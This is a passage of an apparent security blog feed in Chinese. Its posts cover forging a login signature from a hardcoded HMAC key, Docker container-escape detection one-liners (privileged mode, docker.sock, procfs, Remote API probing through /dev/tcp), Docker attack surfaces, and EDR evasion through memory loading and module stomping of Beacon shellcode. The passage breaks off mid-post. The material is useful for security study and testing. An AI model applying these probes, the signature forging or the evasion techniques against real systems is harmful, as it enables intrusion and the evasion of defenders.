加解密"></a>非对称加密-RSA 加解密</h5><p>如何快速判定 RSA 呢？</p><p>RSA 只能加密短小的数据，如果数据太大，会直接报错，因此可以入超长数值，看看是否报错！</p><p><img src="/posts/92226b38/20250819144559-2a3cde2e-7cc8-1.png" alt="img"></p><p>提示了这个错误，显示加密失败，<strong>说明就是非对称加密- RSA加密了</strong></p><p><img src="/posts/92226b38/20250819144559-2a734eb4-7cc8-1.png" alt="img"></p><p>对于非对称加密，他需要设置公钥，因此一般全局搜索：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setpublickey、encrypt</span><br></pre></td></tr></table></figure><h5 id="Sign-签名校验绕过"><a href="#Sign-签名校验绕过" class="headerlink" title="Sign 签名校验绕过"></a>Sign 签名校验绕过</h5><p>直接使用bp抓包，数据包的参数如下：username、password、nonce、timestamp、signature</p><p><img src="/posts/92226b38/20250819144602-2c0a43ae-7cc8-1.png" alt="img"></p><p>演示下这个signature参数的由来</p><p>登陆界面，密码输入1234567，返回包提示密码错误</p><p><img src="/posts/92226b38/20250819144602-2c683be4-7cc8-1-1755872627709-94.png" alt="img"></p><p>这个靶场的密码是123456，那么在bp数据包中，直接这里就把密码修改成123456，看看返回包</p><p><strong>显示signature校验不正确</strong>，因为前面<strong>username、password、nonce、timestamp参数会生成signature传入到后台</strong>，后台就回和我们这里输入到signature进行匹配，要是不一样，就会进行报错</p><p>搜索关键字：<strong>signature</strong>，去断点看js代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">function sendDataWithNonce(url) &#123;</span><br><span class="line">  const username = document.getElementById(&quot;username&quot;)</span><br><span class="line">    .value;</span><br><span class="line">  const password = document.getElementById(&quot;password&quot;)</span><br><span class="line">    .value;</span><br><span class="line"></span><br><span class="line">  const nonce = Math.random()</span><br><span class="line">    .toString(36)</span><br><span class="line">    .substring(2);</span><br><span class="line">  const timestamp = Math.floor(Date.now() / 1000);</span><br><span class="line"></span><br><span class="line">  const secretKey = &quot;be56e057f20f883e&quot;;</span><br><span class="line"></span><br><span class="line">  const dataToSign = username + password + nonce + timestamp;</span><br><span class="line">  const signature = CryptoJS.HmacSHA256(dataToSign, secretKey)</span><br><span class="line">    .toString(CryptoJS.enc.Hex);</span><br></pre></td></tr></table></figure><p><img src="/posts/92226b38/20250819144603-2d12ce88-7cc8-1.png" alt="img"></p><p>那么<strong>直接根据datatoSign拼接出data字符串</strong>+ 使用<code>CryptoJS</code>库的<code>HmacSHA256</code>方法，用<code>secretKey</code>（be56e057f20f883e）对拼接后的字符串进行 HMAC-SHA256 加密，生成<code>signature</code>（签名） </p><p><strong>再替换回到数据包中即可成功登陆了</strong></p>]]></content>
    
    
    <summary type="html">针对JS加解密痛点对抗笔记</summary>
    
    
    
    <category term="research" scheme="https://blog.sudo.online/categories/research/"/>
    
    
    <category term="JS" scheme="https://blog.sudo.online/tags/JS/"/>
    
    <category term="Re" scheme="https://blog.sudo.online/tags/Re/"/>
    
  </entry>
  
  <entry>
    <title>云渗透系列-Docker(2)</title>
    <link href="https://blog.sudo.online/posts/6943f774/"/>
    <id>https://blog.sudo.online/posts/6943f774/</id>
    <published>2025-08-20T06:24:30.000Z</published>
    <updated>2025-12-14T13:55:26.994Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Docker逃逸-先锋性探测"><a href="#Docker逃逸-先锋性探测" class="headerlink" title="Docker逃逸_先锋性探测"></a>Docker逃逸_先锋性探测</h1><p>如果想要一把梭:<a href="https://github.com/teamssix/container-escape-check">检测脚本</a>+<a href="https://github.com/cdk-team/CDK">一键日</a></p><h2 id="判断是否为容器环境"><a href="#判断是否为容器环境" class="headerlink" title="判断是否为容器环境"></a>判断是否为容器环境</h2><p><strong>大部分情景可以使用下面这个命令</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /proc/1/cgroup | grep -qi docker &amp;&amp; echo &quot;Is Docker&quot; || echo &quot;Not Docker&quot;</span><br></pre></td></tr></table></figure><p>回显 “Is Docker”则代表当前为Docker环境</p><h3 id="更详细的判断"><a href="#更详细的判断" class="headerlink" title="更详细的判断"></a>更详细的判断</h3><p>援引：<a href="https://cloud.tencent.com/developer/article/2437305">云上攻防-云原生篇&amp;Docker安全&amp;权限环境检测&amp;容器逃逸&amp;特权模式&amp;危险挂载</a></p><h5 id="方式一：查询cgroup信息"><a href="#方式一：查询cgroup信息" class="headerlink" title="方式一：查询cgroup信息"></a>方式一：查询cgroup信息</h5><p>docker中：</p><p><img src="/posts/6943f774/22fbded49af0e9d3eef940bac8507bc0.png" alt="在这里插入图片描述"></p><p>真实主机上：</p><p><img src="/posts/6943f774/28a935d1ad6d6d0b1275109b764d65a2.png" alt="在这里插入图片描述"></p><h5 id="方式二：检查-dockerenv文件"><a href="#方式二：检查-dockerenv文件" class="headerlink" title="方式二：检查&#x2F;.dockerenv文件"></a>方式二：检查&#x2F;.dockerenv文件</h5><p>通过判断根目录下的 .dockerenv文件是否存在，可以简单的识别docker环境 docker中：</p><p><img src="/posts/6943f774/a4f26b0c9c177d0d826028ae69574544.png" alt="在这里插入图片描述"></p><p>真实主机上：</p><p><img src="/posts/6943f774/c0464ecf0e3b42abca2a817b80e2355a.png" alt="在这里插入图片描述"></p><p> 不过有一点需要注意的是，<strong>如果你获取的shell权限过小的话(www-data、或是某一服务的用户)，根目录下也是不存在.dockerenv文件的</strong></p><h5 id="方式三：检查mount信息"><a href="#方式三：检查mount信息" class="headerlink" title="方式三：检查mount信息"></a>方式三：检查mount信息</h5><p>利用mount查看挂载磁盘是否存在docker相关信息。</p><p>docker中：</p><p><img src="/posts/6943f774/fceb5f787fadda4c6c375a1d8f02de72.png" alt="在这里插入图片描述"></p><p>真实主机上：</p><p><img src="/posts/6943f774/d448a820567ceaa066fe1846ef79fc52.png" alt="在这里插入图片描述"></p><h5 id="方式四：查看硬盘信息"><a href="#方式四：查看硬盘信息" class="headerlink" title="方式四：查看硬盘信息"></a>方式四：查看硬盘信息</h5><p>fdisk -l 容器输出为空，非容器有内容输出。</p><p>docker中：</p><p><img src="/posts/6943f774/8b6f7f80cf0ad8bb7668e11ae2f8efc8.png" alt="在这里插入图片描述"></p><p>真实主机上：</p><p><img src="/posts/6943f774/2445bf925bb664e2e8810d9e731207c1.png" alt="在这里插入图片描述"></p><h5 id="方式五：查看文件系统以及挂载点"><a href="#方式五：查看文件系统以及挂载点" class="headerlink" title="方式五：查看文件系统以及挂载点"></a>方式五：查看文件系统以及挂载点</h5><p>df -h 检查文件系统挂载的目录，也能够简单判断是否为docker环境。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">df -h | egrep &#x27;(overlay|aufs)&#x27;</span><br></pre></td></tr></table></figure><p>docker中：</p><p><img src="/posts/6943f774/59cce56b18bbc881087a8736df74044c.png" alt="在这里插入图片描述"></p><p> 真实主机上：</p><p><img src="/posts/6943f774/3619644539c68e8335e64b5c9c616354.png" alt="在这里插入图片描述"></p><h2 id="docker容器逃逸攻击面检测"><a href="#docker容器逃逸攻击面检测" class="headerlink" title="docker容器逃逸攻击面检测"></a>docker容器逃逸攻击面检测</h2><p><strong>援引：</strong><a href="https://wiki.teamssix.com/CloudNative/Docker/container-escape-check.html">容器逃逸方法检测指北</a></p><p>在开始之前<strong>对于容器逃逸主要有以下三种方法：</strong></p><ol><li>不安全的配置</li><li>相关程序漏洞</li><li>内核漏洞</li></ol><h3 id="不安全的配置"><a href="#不安全的配置" class="headerlink" title="不安全的配置"></a>不安全的配置</h3><h4 id="特权模式"><a href="#特权模式" class="headerlink" title="特权模式"></a>特权模式</h4><p>执行以下命令，<strong>如果返回 Is privileged mode 则说明当前是特权模式，反之置否</strong></p><p>由于用户为了某些业务，<strong>图方便不划分权限组所做的危险挂载，这时容器内的root权限等同于宿主机的root权限</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /proc/self/status | grep -qi &quot;0000003fffffffff&quot; &amp;&amp; echo &quot;Is privileged mode&quot; || echo &quot;Not privileged mode&quot;</span><br></pre></td></tr></table></figure><h4 id="挂载-Docker-Socket"><a href="#挂载-Docker-Socket" class="headerlink" title="挂载 Docker Socket"></a>挂载 Docker Socket</h4><p>执行以下命令，如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket（守护进程）</p><p>当一个容器被授权访问 Docker Socket 时，它实际上获得了与宿主机上的 Docker 守护进程进行通信的能力。这意味着，<strong>容器内的进程可以扮演 Docker 客户端的角色，向宿主机上的 Docker 守护进程发送任何 Docker 命令。</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ls /var/run/ | grep -qi docker.sock &amp;&amp; echo &quot;Docker Socket is mounted.&quot; || echo &quot;Docker Socket is not mounted.&quot;</span><br></pre></td></tr></table></figure><h4 id="挂载-procfs"><a href="#挂载-procfs" class="headerlink" title="挂载 procfs"></a>挂载 procfs</h4><p><code>procfs</code>（Process File System）是一个虚拟文件系统，由 Linux 内核动态生成。它以文件和目录的形式提供了关于系统和进程的实时信息。例如：</p><p>当一个容器**挂载了宿主机的 <code>/proc</code> 目录时，容器内的进程就可以读取甚至修改宿主机的内核参数和进程信息。**这可能导致敏感信息泄露以及一系列间接的影响</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -name core_pattern 2&gt;/dev/null | wc -l | grep -q 2 &amp;&amp; echo &quot;Procfs is mounted.&quot; || echo &quot;Procfs is not mounted.&quot;</span><br></pre></td></tr></table></figure><h4 id="挂载宿主机根目录"><a href="#挂载宿主机根目录" class="headerlink" title="挂载宿主机根目录"></a>挂载宿主机根目录</h4><p>执行以下命令，如果返回 Root directory is mounted. 则说明宿主机目录被挂载</p><p>挂载宿主机根目录等同于将宿主机的整个文件系统暴露给容器。一旦攻击者控制了这样的容器，就相当于获得了宿主机的 root 权限，<strong>容器的隔离性完全失效</strong>。这是 Docker 容器安全中最危险的配置之一。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -name passwd 2&gt;/dev/null | grep /etc/passwd | wc -l | grep -q 7 &amp;&amp; echo &quot;Root directory is mounted.&quot; || echo &quot;Root directory is not mounted.&quot;</span><br></pre></td></tr></table></figure><p>如果返回 Root directory is not mounted. 则说明没有挂载</p><h4 id="Docker-remote-api-未授权访问"><a href="#Docker-remote-api-未授权访问" class="headerlink" title="Docker remote api 未授权访问"></a>Docker remote api 未授权访问</h4><p>执行以下命令，如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问</p><p>Docker Remote API 允许通过 HTTP 协议远程管理 Docker 守护进程。如果这个 API 没有经过适当的认证和授权就暴露在网络上（通常监听在 2375 端口），就会导致<strong>未授权访问漏洞</strong>，其影响与挂载 Docker Socket 类似，甚至更广。</p><ul><li>一旦攻击者通过未授权的 Docker API 创建了特权容器并逃逸，他们就可以在宿主机上执行任意代码，窃取数据，植入后门，甚至完全破坏系统。</li><li>攻击者可以停止所有运行的容器，导致服务中断。</li><li>攻击者可能利用受感染的宿主机进行挖矿、DDoS 攻击、僵尸网络等恶意活动。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IP=`hostname -i | awk -F. &#x27;&#123;print $1 &quot;.&quot; $2 &quot;.&quot; $3 &quot;.1&quot;&#125;&#x27; ` &amp;&amp; timeout 3 bash -c &quot;echo &gt;/dev/tcp/$IP/2375&quot; &gt; /dev/null 2&gt;&amp;1 &amp;&amp; echo &quot;Docker Remote API Is Enabled.&quot; || echo &quot;Docker Remote API is Closed.&quot;</span><br></pre></td></tr></table></figure><h3 id="内核漏洞"><a href="#内核漏洞" class="headerlink" title="内核漏洞"></a>内核漏洞</h3><h4 id="CVE-2016-5195-DirtyCow-逃逸"><a href="#CVE-2016-5195-DirtyCow-逃逸" class="headerlink" title="CVE-2016-5195 DirtyCow 逃逸"></a>CVE-2016-5195 DirtyCow 逃逸</h4><p>执行 uname -r 命令，如果在 2.6.22 &lt;&#x3D; 版本 &lt;&#x3D; 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。</p><h4 id="CVE-2020-14386"><a href="#CVE-2020-14386" class="headerlink" title="CVE-2020-14386"></a>CVE-2020-14386</h4><p>执行 uname -r 命令，如果在 4.6 &lt;&#x3D; 版本 &lt; 5.9 之间说明可能存在 CVE-2020-14386 漏洞。</p><h4 id="CVE-2022-0847-DirtyPipe-逃逸"><a href="#CVE-2022-0847-DirtyPipe-逃逸" class="headerlink" title="CVE-2022-0847 DirtyPipe 逃逸"></a>CVE-2022-0847 DirtyPipe 逃逸</h4><p>执行 uname -r 命令，如果在 5.8 &lt;&#x3D; 版本 &lt; 5.10.102 &lt; 版本 &lt; 5.15.25 &lt; 版本 &lt; 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞</p><h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><p>详细的漏洞利用可以去补wiki系列和<a href="https://xz.aliyun.com/news/8151">这篇文章</a></p><p>剩下的不做详细叙述</p>]]></content>
    
    
    <summary type="html">你有全面封锁，我有平地起惊雷</summary>
    
    
    
    <category term="penetration" scheme="https://blog.sudo.online/categories/penetration/"/>
    
    
    <category term="Cloud" scheme="https://blog.sudo.online/tags/Cloud/"/>
    
  </entry>
  
  <entry>
    <title>云渗透系列-Docker(1)</title>
    <link href="https://blog.sudo.online/posts/426ea4b7/"/>
    <id>https://blog.sudo.online/posts/426ea4b7/</id>
    <published>2025-08-20T02:08:43.000Z</published>
    <updated>2025-12-14T13:55:26.993Z</updated>
    
    <content type="html"><![CDATA[<h1 id="名词介绍"><a href="#名词介绍" class="headerlink" title="名词介绍"></a>名词介绍</h1><h3 id="容器"><a href="#容器" class="headerlink" title="容器"></a>容器</h3><p><strong>援引</strong>：<a href="https://wiki.teamssix.com/cloudnative/">T Wiki</a></p><p>Docker 容器与虚拟机类似，但二者在原理上不同，容器是将操作系统层虚拟化，虚拟机则是虚拟化硬件，因此容器更具有便携性、高效地利用服务器。</p><p>架构图如下，里面包括了 <strong>Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓库</strong>三个部分。</p><p>其中**宿主机包括了 Docker 守护进程、本地容器和本地镜像，**Docker 守护进程（dockerd）的作用是侦听 Docker API 请求和管理 Docker 对象</p><p><img src="/posts/426ea4b7/1649947060.png" alt="img"></p><h3 id="容器编排"><a href="#容器编排" class="headerlink" title="容器编排"></a>容器编排</h3><p>容器编排是指<strong>自动化容器的部署、管理、扩展和联网</strong>，容器编排可以为需要部署和管理成百上千个 Linux 容器和主机的企业提供便利。</p><p>常见的容器编排工具方案有 Kubernetes、Docker Swarm 和 Apache Mesos 等</p><p><strong>简明讲解二者关系</strong>：<a href="https://www.bilibili.com/video/BV1aA4m1w7Ew/">docker是什么？和kubernetes(k8s)是什么关系？</a></p><h3 id="无服务"><a href="#无服务" class="headerlink" title="无服务"></a>无服务</h3><p>无服务（Serverless）是一种云原生开发模型，可使开发人员专注构建和运行应用，这并不是说没有服务器，<strong>而是说开发者不用去管服务器只负责开发就行。省去了运维的工作</strong></p><p>通常被分为两类，分别是后端即服务（BaaS）和函数即服务（FaaS）</p><h3 id="微服务"><a href="#微服务" class="headerlink" title="微服务"></a>微服务</h3><p>微服务（Microservices）是一种软件架构风格，它是以专注于单一责任与功能的小型功能区块为基础，利用模块化的方式组合出复杂的大型应用程序，<strong>各功能区块使用与语言无关的API集相互通信。</strong></p><h3 id="服务网格"><a href="#服务网格" class="headerlink" title="服务网格"></a>服务网格</h3><p>服务网格（Service Mesh）用于<strong>控制应用的不同部分之间如何共享数据</strong>，服务网格内置于应用程序中的专用基础架构层，这个可见的基础架构层可以记录应用的不同部分是否能正常交互。</p><p><img src="/posts/426ea4b7/1649948493.png" alt="img"></p><h1 id="Docker的攻击面"><a href="#Docker的攻击面" class="headerlink" title="Docker的攻击面"></a>Docker的攻击面</h1><h3 id="容器镜像风险"><a href="#容器镜像风险" class="headerlink" title="容器镜像风险"></a>容器镜像风险</h3><ol><li>开发者引入了<strong>存在漏洞版本的第三方依赖&#x2F;组件</strong></li><li>攻击者在公共镜像仓库投毒的<strong>恶意镜像</strong></li><li>开发者<strong>调试过程中遗留的数据库密码&#x2F;API密钥</strong></li></ol><h3 id="活动中容器本身风险"><a href="#活动中容器本身风险" class="headerlink" title="活动中容器本身风险"></a>活动中容器本身风险</h3><ol><li><p>容器在使用中<strong>映射出的敏感服务端口</strong> 可<strong>未授权访问</strong> </p></li><li><p>容器运行本质是<strong>基于宿主机操作系统内核</strong>，可导致CPU资源耗尽</p></li><li><p>不安全的配置与挂载</p><ul><li><p>Docker 通过三种主要机制实现容器隔离：</p><ol><li><strong>Linux 命名空间（Namespaces）</strong>：<ul><li><strong>作用</strong>：隔离容器的“视图”，让每个容器觉得自己拥有独立的文件系统、网络、进程列表、主机名等。</li><li><strong>实现方式</strong>：Linux 内核功能，为每个容器创建独立的“命名空间”。例如，PID 命名空间让容器有自己的进程 ID 1，网络命名空间让容器有自己的 IP 地址和端口。</li></ul></li><li><strong>Linux 控制组（cgroups）</strong>：<ul><li><strong>作用</strong>：限制和管理容器可以使用的系统资源，如 CPU、内存、硬盘 I&#x2F;O。</li><li><strong>实现方式</strong>：Linux 内核功能，为每个容器分配并限制其可以使用的资源配额，防止单个容器耗尽系统资源。</li></ul></li><li><strong>RootFS (根文件系统)</strong>：<ul><li><strong>作用</strong>：为每个容器提供一个独立的、隔离的文件系统。容器内的文件操作不会影响主机或其他容器。</li><li><strong>实现方式</strong>：Docker 使用**联合文件系统（Union File System）**技术（如 OverlayFS）来构建容器镜像，它由多个只读层和一个可写层组成，高效且隔离。</li></ul></li></ol><p>简而言之，<strong>命名空间</strong>让容器“看不见”彼此和主机，<strong>cgroups</strong>限制它们能“用多少”资源，而<strong>RootFS</strong>则提供了独立的“存储空间”。</p></li><li><p>如果设定了以下配置就会导致相应的隔离机制失效：</p><ul><li>–privileged：<strong>特权运行</strong>使容器内的 root 权限和宿主机上的 root 权限一致，权限隔离被打破</li><li>–net&#x3D;host：<strong>通网挂载</strong>使容器与宿主机处于同一网络命名空间，网络隔离被打破</li><li>–pid&#x3D;host：<strong>进程映射</strong>使容器与宿主机处于同一进程命令空间，进程隔离被打破</li><li>–volume &#x2F;:&#x2F;host：<strong>文件映射</strong>使宿主机根目录被挂载到容器内部，文件系统隔离被打破</li></ul></li></ul></li></ol><h3 id="容器管理程序接口的风险"><a href="#容器管理程序接口的风险" class="headerlink" title="容器管理程序接口的风险"></a>容器管理程序接口的风险</h3><p>Docker 守护进程主要监听 UNIX socket 和 TCP socket，<strong>默认情况下，Docker 只会监听 UNIX socket</strong></p><h4 id="UNIX-socket"><a href="#UNIX-socket" class="headerlink" title="UNIX socket"></a>UNIX socket</h4><p>UNIX socket 的风险主要在于 <strong>Docker 守护进程默认以宿主机的 root 权限运行，因此就可以借助这点进行提权或者容器逃逸</strong>。</p><p>这类风险主要有<strong>两个利用场景</strong>：</p><ul><li>普通用户被加到 Docker 用户组内提权</li></ul><p>如果普通用户被加入到 Docker 用户组内，那么普通用户也将有权限访问 Docker UNIX socket，如果攻击者获得了这个普通用户权限，就可以借助 Docker 提权到 root 用户权限。</p><p>具体的做法可以简单描述为：<strong>使用普通用户创建一个 privileged 为 true 的容器</strong>，在该容器内挂载宿主机硬盘并**写入定时任务，然后将宿主机的 root 权限反弹回来，**后期将详细介绍这种方法的使用。</p><ul><li>UNIX socket 挂载到容器内部 用于逃逸</li></ul><p>有时<strong>为了实现容器内部管理容器，可能会将 Docker UNIX socket 挂载到容器内部</strong>，那么如果该容器被入侵，RT 就可以借助这个 socket 进行容器逃逸获得宿主机 root 权限。</p><h4 id="TCP-socket"><a href="#TCP-socket" class="headerlink" title="TCP socket"></a>TCP socket</h4><p>现在 Docker 守护进程默认不会监听 TCP socket，不过有时可能用户会因为方便开启 TCP socket 的监听，一般默认监听端口是 2375</p><p>默认情况下，<strong>Docker 守护进程 TCP socket 是无加密无认证的</strong>，因此如果发现宿主机 Docker 开放了 TCP socket，就可以直接使用 <strong>docker -H 接管目标的容器</strong></p><h3 id="其他风险"><a href="#其他风险" class="headerlink" title="其他风险"></a>其他风险</h3><h4 id="容器网络风险"><a href="#容器网络风险" class="headerlink" title="容器网络风险"></a>容器网络风险</h4><p>虽然默认情况下，容器内部的网络与宿主机是隔离的，但是每个容器之间是彼此互相连通的，理论上在容器之间是存在内网横向的风险的。</p><h4 id="宿主机操作系统风险宿主机操作系统风险"><a href="#宿主机操作系统风险宿主机操作系统风险" class="headerlink" title="宿主机操作系统风险宿主机操作系统风险"></a>宿主机操作系统风险宿主机操作系统风险</h4><p><strong>容器通常与宿主机共享内核</strong>，也就是说如果<strong>宿主机内核存在漏洞，意味着容器可能也会存在相同的漏洞。</strong></p><p>例如如果宿主机存在脏牛漏洞，那么拿到容器权限后，使用脏牛漏洞就可以获得宿主机权限，实现容器逃逸。</p><h4 id="软件自身的漏洞"><a href="#软件自身的漏洞" class="headerlink" title="软件自身的漏洞"></a>软件自身的漏洞</h4><p>Docker 自身存在的一些漏洞，比如 CVE-2019-14271、CVE-2019-5736 等都可以导致容器逃逸，这些也都是风险点，后面会对这些漏洞进行尝试复现。</p>]]></content>
    
    
    <summary type="html">你有全面封锁，我有平地起惊雷</summary>
    
    
    
    <category term="penetration" scheme="https://blog.sudo.online/categories/penetration/"/>
    
    
    <category term="Cloud" scheme="https://blog.sudo.online/tags/Cloud/"/>
    
  </entry>
  
  <entry>
    <title>AV_EDR对抗痛点</title>
    <link href="https://blog.sudo.online/posts/2580e02a/"/>
    <id>https://blog.sudo.online/posts/2580e02a/</id>
    <published>2025-08-03T11:36:43.000Z</published>
    <updated>2025-12-14T13:55:26.987Z</updated>
    
    <content type="html"><![CDATA[<h1 id="AV-EDR对抗痛点"><a href="#AV-EDR对抗痛点" class="headerlink" title="AV_EDR对抗痛点"></a>AV_EDR对抗痛点</h1><p><strong>参考链接</strong>：<a href="https://www.bilibili.com/video/BV1dH8GzDErF/">https://www.bilibili.com/video/BV1dH8GzDErF/</a></p><p><strong>思路来源：</strong> <a href="https://space.bilibili.com/351820377">@RedCore_Moriaty</a></p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>EDR的主要闪光点并非在拦截，而是它的行为分析和语言模型。面对EDR的围追堵截，维持权限<strong>已经越做越难</strong>。<br>对应C2 开发-<strong>二线红队与EDR的对抗强度决定一线红队的驻扎与打点</strong></p><p>在现在这种对抗强度巨大的情景下，一线红队的目标应该专注于既定目标的完成，而不是权限的长期维持。 <strong>可以类比你上去给特朗普一巴掌，就要做好被安保摁住的准备，但其实在这样的防护下，能够完成这个艰巨的任务就已经很不容易了</strong></p><p>因此二线红队，也就是C2开发，本身要做的核心任务就是给一线创造空间，破开最大的时间窗口。 也就是<strong>将精力投入到对抗的环节上</strong></p><h2 id="详叙"><a href="#详叙" class="headerlink" title="详叙"></a>详叙</h2><h3 id="核心概念：进程注入链-延迟对抗"><a href="#核心概念：进程注入链-延迟对抗" class="headerlink" title="核心概念：进程注入链_延迟对抗"></a>核心概念：进程注入链_延迟对抗</h3><p>这里其实本质上就是在讲一件事情:<strong>如何用”奇技淫巧”(误)拖缓EDR的分析时间并达成为一线拉开达成既定目标的时间窗口</strong></p><p><img src="/posts/2580e02a/image-20250803002300725.png" alt="image-20250803002300725"></p><h3 id="手法概览"><a href="#手法概览" class="headerlink" title="手法概览"></a>手法概览</h3><h4 id="传统思路1：内存加载"><a href="#传统思路1：内存加载" class="headerlink" title="传统思路1：内存加载"></a>传统思路1：内存加载</h4><p>C2通过远程控制下发 Beacon Payload，利用内存函数申请内存，将加密的 Payload 解密后直接放进内存，并执行，实现 <strong>无落地、隐蔽执行</strong>。<img src="/posts/2580e02a/image-20250803134349862.png" alt="image-20250803134349862"></p><h5 id="1-利用内存分配函数-API"><a href="#1-利用内存分配函数-API" class="headerlink" title="1. 利用内存分配函数 API"></a>1. <strong>利用内存分配函数 API</strong></h5><p>常见的 Windows API 有：</p><ul><li><code>VirtualAlloc</code></li><li><code>VirtualAllocEx</code></li><li><code>NtAllocateVirtualMemory</code></li><li><code>HeapAlloc</code></li></ul><p>它们的目的是：<strong>在当前或远程进程的内存空间中申请一块内存区域</strong>，并指定权限（如 <code>PAGE_EXECUTE_READWRITE</code>）以支持后续执行。</p><h5 id="2-为-Beacon-分配内存并加载解密"><a href="#2-为-Beacon-分配内存并加载解密" class="headerlink" title="2. 为 Beacon 分配内存并加载解密"></a>2. <strong>为 Beacon 分配内存并加载解密</strong></h5><p>一般 Beacon 是一个加密后的 Payload（二进制 blob），有如下特征：</p><ul><li>已加密（避免特征被查杀）</li><li>存在于内存中，未写入磁盘（避免落地）</li><li>加载时需要解密（如 XOR&#x2F;AES&#x2F;RC4）</li></ul><p>过程是：</p><ul><li>用 <code>VirtualAlloc</code> 申请内存</li><li>将加密的 Beacon（Shellcode）解密成明文</li><li>把解密后的内容写入申请的内存地址</li></ul><h5 id="3-修改执行（跳转）"><a href="#3-修改执行（跳转）" class="headerlink" title="3. 修改执行（跳转）"></a>3. <strong>修改执行（跳转）</strong></h5><p>内存中的 Payload 并不会自动执行，需要<strong>控制程序流跳转到它那执行</strong>：</p><p>常见方式：</p><ul><li><code>CreateThread</code> &#x2F; <code>NtCreateThreadEx</code></li><li><code>QueueUserAPC</code> + <code>Sleep</code></li><li><code>SetTimer</code> Callback</li><li>栈迁移 + <code>jmp</code> 指令跳转（Reflective DLL 中常见）</li></ul><p>目标：让程序跳到你申请的内存执行 Beacon 逻辑。</p><p>这个现在根本行不通，不用说后期日志取证，在执行阶段就已经被拦截。</p><h5 id="为何行不通，阐述防御机制"><a href="#为何行不通，阐述防御机制" class="headerlink" title="为何行不通，阐述防御机制"></a>为何行不通，阐述防御机制</h5><p>这和windows内存页<strong>自身的属性有关</strong></p><p>正常进程加载的模块是 <strong>MEM_IMAGE 类型内存页</strong>，<strong>自己手动申请的内存则是 MEM_PRIVATE</strong>。这个差异是蓝队检测内存注入、反射加载的基础指标之一。</p><p>只需要能监控到你执行的代码区域，只需要你落到<strong>MEM_PRIVATE</strong>，因此软件<strong>基于非MEM_IMAGE 类型内存页执行代码的判断就非常迅速且简单</strong></p><p>这也叫做<strong>代码执行区审查</strong></p><h4 id="传统思路2：Module-Stomping对抗代码合法审查检测"><a href="#传统思路2：Module-Stomping对抗代码合法审查检测" class="headerlink" title="传统思路2：Module Stomping对抗代码合法审查检测"></a>传统思路2：Module Stomping对抗代码合法审查检测</h4><p><strong>将合法模块加载到内存中后，覆盖其 <code>.text</code> 段或入口函数处的代码，用作恶意代码的跳板执行</strong>，借助其 <code>MEM_IMAGE</code> 属性<strong>掩盖真正 Payload</strong> 的行为</p><p><img src="/posts/2580e02a/image-20250803161009933.png" alt="image-20250803161009933"></p><h5 id="1-调用-LoadLibraryA-合法模块-dll"><a href="#1-调用-LoadLibraryA-合法模块-dll" class="headerlink" title="1. 调用 LoadLibraryA(&quot;合法模块.dll&quot;)"></a>1. <strong>调用 <code>LoadLibraryA(&quot;合法模块.dll&quot;)</code></strong></h5><ul><li>加载合法 DLL（比如 <code>mshtml.dll</code>、<code>duser.dll</code> 等）</li><li>一般我们会使用**<code>LoadLibrary</code>函数去动态加载<code>DLL</code>，但是这会出现一个问题，通过<code>LoadLibrary</code>函数去动态加载<code>DLL</code>会受到控制流(<code>CFG</code>)的限制。**<code>CFG</code>会组织执行未经过签名的和验证的代码。</li><li>这里可以使用<code>NtCreateSection</code>函数以及<code>NtMapViewOfSection</code>函数来手动映射<code>DLL</code>文件，这可以确保映射的内存区域为<code>SEC_IMAGE</code>权限。</li></ul><h5 id="2-用-VirtualProtect-修改其-text-段权限为-PAGE-EXECUTE-READWRITE"><a href="#2-用-VirtualProtect-修改其-text-段权限为-PAGE-EXECUTE-READWRITE" class="headerlink" title="2. 用 VirtualProtect 修改其 .text 段权限为 PAGE_EXECUTE_READWRITE"></a>2. <strong>用 <code>VirtualProtect</code> 修改其 <code>.text</code> 段权限为 <code>PAGE_EXECUTE_READWRITE</code></strong></h5><ul><li>或者直接操作 PEB 中的模块入口点（更隐蔽）</li></ul><h5 id="3-将你的-Beacon-Shellcode-写入-text-区段-或-DllMain"><a href="#3-将你的-Beacon-Shellcode-写入-text-区段-或-DllMain" class="headerlink" title="3. 将你的 Beacon Shellcode 写入 .text 区段 或 DllMain"></a>3. <strong>将你的 Beacon Shellcode 写入 <code>.text</code> 区段 或 <code>DllMain</code></strong></h5><ul><li><p>典型鸠占鹊巢，把合法模块原始逻辑覆盖掉</p></li><li><p><code>.text</code>部分是通常包含了可执行的代码，那么攻击者就可以覆盖其这部分代码，将合法的代码替换为<code>shellcode</code>。</p></li></ul><h5 id="4-调用模块导出函数-或-创建线程执行入口点"><a href="#4-调用模块导出函数-或-创建线程执行入口点" class="headerlink" title="4. 调用模块导出函数 或 